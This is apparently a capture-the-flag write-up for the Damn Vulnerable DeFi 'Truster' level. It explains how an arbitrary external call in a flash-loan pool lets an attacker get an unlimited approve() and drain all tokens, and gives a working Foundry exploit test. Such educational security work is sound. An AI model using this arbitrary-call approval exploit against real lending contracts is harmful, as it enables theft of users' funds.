More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.
TL;DR
The flashLoan() contains RCE bug where we can call arbitrary function on behalf of the pool. Just call approve() to give ourselves unlimited allowance then withdraw all the tokens.
Code Audit
Our objective is to drain the pool via flash loan within one transaction. Check out the flashLoan() function:
The external call target.functionCall(data) looks suspicious. What is this functionCall() thing? It is a utility function defined in OpenZeppelin contract, nasically it is a safe wrapper of the low-level call:
There are many things that we can do in this external call. For example, we can set target == damnValuableToken and call approve() to approve the attacker to handle all the fund in this pool. If we specify amount == 0, then there is no flash loan needs to be paid. In the attack contract, the call to flashLoan() looks like the following:
Approve attack for unlimited amount via the RCE and transfer out all the dvt tokens:
// SPDX-License-Identifier: MITpragmasolidity >=0.8.0;import {Utilities} from"../../utils/Utilities.sol";import"forge-std/Test.sol";import {DamnValuableToken} from"../../../src/Contracts/DamnValuableToken.sol";import {TrusterLenderPool} from"../../../src/Contracts/truster/TrusterLenderPool.sol";contractTrusterisTest {uint256internalconstant TOKENS_IN_POOL =1_000_000e18; Utilities internal utils; TrusterLenderPool internal trusterLenderPool; DamnValuableToken internal dvt;addresspayableinternal attacker;functionsetUp() public {/** * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ utils =newUtilities();addresspayable[] memory users = utils.createUsers(1); attacker = users[0]; vm.label(attacker,"Attacker"); dvt =newDamnValuableToken(); vm.label(address(dvt),"DVT"); trusterLenderPool =newTrusterLenderPool(address(dvt)); vm.label(address(trusterLenderPool),"Truster Lender Pool"); dvt.transfer(address(trusterLenderPool), TOKENS_IN_POOL);assertEq(dvt.balanceOf(address(trusterLenderPool)), TOKENS_IN_POOL); console.log(unicode"🧨 Let's see if you can break it... 🧨"); }functiontestExploit() public {/** * EXPLOIT START * */ vm.startPrank(attacker);bytesmemory data = abi.encodeWithSignature("approve(address,uint256)", attacker, type(uint256).max); trusterLenderPool.flashLoan(0, attacker,address(dvt), data); dvt.transferFrom(address(trusterLenderPool), attacker, dvt.balanceOf(address(trusterLenderPool))); vm.stopPrank();/** * EXPLOIT END * */validation(); console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉"); }functionvalidation() internal {// Attacker has taken all tokens from the poolassertEq(dvt.balanceOf(address(trusterLenderPool)),0);assertEq(dvt.balanceOf(address(attacker)), TOKENS_IN_POOL); }}